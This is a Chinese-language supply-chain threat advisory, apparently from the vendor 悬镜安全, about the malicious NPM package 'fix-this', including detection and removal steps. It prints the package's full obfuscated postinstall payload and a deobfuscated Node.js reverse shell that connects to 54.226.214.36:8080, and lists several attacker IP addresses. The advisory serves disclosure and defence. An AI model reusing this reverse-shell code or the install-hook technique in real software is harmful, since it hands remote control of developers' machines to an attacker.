悬镜安全 05月14日 17:26
供应链风险情报预警 | 恶意NPM包(fix-this)开展反向shell远控投毒
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

悬镜安全情报中心捕获一起针对NodeJS开发者的NPM组件投毒事件。攻击者在“fix-this”NPM包中植入混淆的反向shell远控恶意代码,影响版本包括3.0.9、3.1.9、3.2.1和3.2.3。该恶意包已在NPM仓库和国内镜像源存在,总下载量超过2000次,存在安全隐患。用户安装后可能被远程控制。悬镜安全已向XSBOM用户推送预警,并建议开发者检查和卸载受影响版本。

⚠️fix-this NPM组件包的特定版本(3.0.9, 3.1.9, 3.2.1, 3.2.3)中,`lib/utils/connectionUtils.js`文件的`validateSystemResultsV2()`函数被植入恶意代码,该代码主要用于执行反向shell远控。

⚙️恶意代码通过在`package.json`中配置`scripts postinstall`指令,实现在组件安装过程中执行恶意脚本`node lib/utils/postinstall.js`,从而调用被篡改的`connectionUtils`模块。

🛡️开发者可以使用`npm list fix-this`命令检查项目是否安装了受影响的恶意版本,若已安装,应立即使用`npm uninstall fix-this`卸载,并检查系统是否存在异常进程。同时,可以使用OpenSCA-cli工具扫描项目,快速检测是否受到投毒包的影响。

原创 悬镜安全情报中心 2025-01-17 11:00 北京

供应链风险情报预警!悬镜供应链安全情报中心在NPM官方仓库中捕获一起针对NodeJS开发者开展远控攻击的组件投毒事件。

SBOM情报概述

Summary


上周(2025.01.08),悬镜供应链安全情报中心在NPM官方仓库(www.npmjs.com)中捕获一起针对NodeJS开发者开展远控攻击的组件投毒事件。投毒者在连续发布多达26个正常版本的 fix-this NPM包之后,在最近4个版本中(3.0.9; 3.1.9; 3.2.1; 3.2.3)正式将混淆的反向shell远控的恶意代码植入到该组件中进行远控投毒攻击。


fix-this恶意NPM包


截至目前,该恶意组件包仍正常托管在NPM官方仓库以及国内主流NPM镜像源,对于NPM开发者来说存在较大安全隐患。此外,根据NPM官方接口统计,fix-this恶意NPM包总下载量为2179次。悬镜安全已于第一时间将该投毒恶意包的详细技术分析向XSBOM供应链安全情报订阅用户进行推送预警。


fix-this恶意包总下载量


投毒分析

Poisoning Analysis


 fix-this NPM组件包在3.0.9及之后的版本中 lib/utils/connectionUtils.js 代码文件的 validateSystemResultsV2() 函数被投毒者植入混淆恶意代码,恶意代码主要功能用于执行反向shell远控,针对目前已投放的4个版本恶意包中,涉及到的远控服务器地址及端口如下所示。

远控IP
远控端口
54.226.214.368080
54.174.228.2228080
3.91.223.1428080
107.21.170.1978080

1

代码混淆

以 fix-this 最新版本3.2.3为例,组件包package.json中通过配置scripts postinstall指令实现组件安装过程中执行 "node lib/utils/postinstall.js" 。

package.json 定义 postinstall 恶意指令




lib/utils/postinstall.js 文件如下所示,其主要功能是调用 connectionUtils 模块(lib/utils/connectionUtils.js)的 validateSystemResults 及 validateSystemResultsV2 函数进行相关校验操作。


postinstall.js 文件代码


lib/utils/connectionUtils.js 代码文件的validateSystemResultsV2 函数已经被攻击者植入混淆的恶意代码

validateSystemResultsV2 函数


validateSystemResultsV2 函数中的混淆代码如下所示:

    function _0x2057(_0x1829df,_0x3f03dc){var _0x5ca86c=_0x5ca8();return _0x2057=function(_0x2057b2,_0x3d1488){_0x2057b2=_0x2057b2-0x84;var _0x5a534d=_0x5ca86c[_0x2057b2];return _0x5a534d;},_0x2057(_0x1829df,_0x3f03dc);}var _0x13cf3b=_0x2057;(function(_0x4992cf,_0x2f1494){var _0x4bbf83=_0x2057,_0x29c35c=_0x4992cf();while(!![]){try{var _0x3636ce=parseInt(_0x4bbf83(0x86))/0x1+-parseInt(_0x4bbf83(0x8a))/0x2*(parseInt(_0x4bbf83(0x8b))/0x3)+parseInt(_0x4bbf83(0x8e))/0x4+-parseInt(_0x4bbf83(0x90))/0x5*(parseInt(_0x4bbf83(0x85))/0x6)+-parseInt(_0x4bbf83(0x84))/0x7+-parseInt(_0x4bbf83(0x89))/0x8+parseInt(_0x4bbf83(0x8c))/0x9;if(_0x3636ce===_0x2f1494)break;else _0x29c35c['push'](_0x29c35c['shift']());}catch(_0x57e360){_0x29c35c['push'](_0x29c35c['shift']());}}}(_0x5ca8,0xb27a1));function _0x5ca8(){var _0x1d3d55=['spawn','ignore','1912848LiJbyL','118058INcfKg','33BmgaJm','3039138ZhLTOG','\x0a\x20\x20\x20\x20(function(){\x0a\x20\x20\x20\x20\x20\x20var\x20net\x20=\x20require(\x22net\x22),\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20cp\x20=\x20require(\x22child_process\x22),\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20sh\x20=\x20cp.spawn(\x22/bin/sh\x22,\x20[],\x20{\x20stdio:\x20[\x27pipe\x27,\x20\x27pipe\x27,\x20\x27pipe\x27]\x20});\x0a\x20\x20\x20\x20\x20\x20var\x20client\x20=\x20new\x20net.Socket();\x0a\x20\x20\x20\x20\x20\x20client.connect(8080,\x20\x2254.226.214.36\x22,\x20function(){\x0a\x20\x20\x20\x20\x20\x20\x20\x20client.pipe(sh.stdin);\x0a\x20\x20\x20\x20\x20\x20\x20\x20sh.stdout.pipe(client);\x0a\x20\x20\x20\x20\x20\x20\x20\x20sh.stderr.pipe(client);\x0a\x20\x20\x20\x20\x20\x20});\x0a\x20\x20\x20\x20})();\x0a\x20\x20','5496360mmtRSt','execPath','4985245oSRztn','3850931TfscMo','6YqPuPd','1454876IJOzMs'];_0x5ca8=function(){return _0x1d3d55;};return _0x5ca8();}var cp=require('child_process');cp[_0x13cf3b(0x87)](process[_0x13cf3b(0x8f)],['-e',_0x13cf3b(0x8d)],{'detached':!![],'stdio':_0x13cf3b(0x88)})['unref']();


    2

    反向shell远控

    对混淆代码进行还原后,发现其主要功能是调用child_process模块执行 node -e 来动态执行一段经典的反向shell远控nodejs代码。

    混淆代码还原


    反向shell远控nodejs代码如下所示,当前版本恶意包使用的shell远控服务器IP为:54.226.214.36,远控端口为8080。

          (function(){      var net = require("net"),          cp = require("child_process"),          sh = cp.spawn("/bin/sh", [], { stdio: ['pipe', 'pipe', 'pipe'] });      var client = new net.Socket();      client.connect(8080, "54.226.214.36", function(){        client.pipe(sh.stdin);        sh.stdout.pipe(client);        sh.stderr.pipe(client);      });    })();


      一旦开发者安装fix-this恶意包时,将自动触发执行validateSystemResultsV2 函数中的反向shell远控代码,导致系统被投毒者远程控制。如下图所示,通过本地模拟投毒者远控服务器IP(下图左侧)进行验证,当受害者(下图右侧)安装该恶意组件时,攻击者将获取受害者系统的远控权限。

      本地反向shell远控验证

      3

      IoC 数据


      本次捕获的fix-this NPM投毒包涉及的恶意IoC数据如下表所示:



      排查方式

      Investigation Method


      开发者可通过命令 npm list fix-this 在项目目录下使用查询是否已安装存在恶意投毒版本(3.0.9; 3.1.9; 3.2.1; 3.2.3)的组件,如果已安装请立即使用 npm uninstall fix-this 进行卸载。此外还需关闭系统网络并排查系统是否存在异常进程。

      此外,也可使用 OpenSCA-cli 工具将受影响的组件包按如下示例保存为db.json文件,直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到投毒包影响。




        [ { "product": "fix-this", "version": "[3.0.9, 3.1.9, 3.2.1, 3.2.3]", "language": "javascript", "id": "XMIRROR-MAL45-92505BB", "description": "恶意NPM组件fix-this开展远控投毒攻击", "release_date": "2025-01-08" }]


        悬镜供应链安全情报中心是国内首个数字供应链安全情报研究中心。依托悬镜安全团队强大的供应链SBOM管理与监测能力和AI安全大数据云端分析能力,悬镜云脉XSBOM数字供应链安全情报预警服务通过对全球数字供应链投毒情报、漏洞情报、停服断供情报等进行实时动态监测与溯源分析,可为用户智能精准预警“与我有关”的数字供应链安全情报,提供情报查询、情报订阅、可视化关联分析等企业级服务。


        推荐阅读


        关于“悬镜安全”


        悬镜安全,起源于子芽创立的北京大学网络安全技术研究团队”XMIRROR”,作为数字供应链安全和DevSecOps敏捷安全开拓者,始终专注于以“AI智能代码疫苗”技术为内核,凭借原创专利级“全流程数字供应链安全赋能平台+敏捷安全工具链+SBOM情报预警服务”的第三代DevSecOps数字供应链安全管理体系,创新赋能金融、车联网、通信、能源、政企、智能制造和泛互联网等行业用户,构筑起适应自身业务弹性发展、面向敏捷业务交付并引领未来架构演进的共生积极防御体系,持续守护中国数字供应链安全。

        阅读原文

        跳转微信打开

        Fish AI Reader

        Fish AI Reader

        AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

        FishAI

        FishAI

        鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

        联系邮箱 441953276@qq.com

        相关标签

        供应链安全 NPM投毒 远程控制 NodeJS 悬镜安全
        相关文章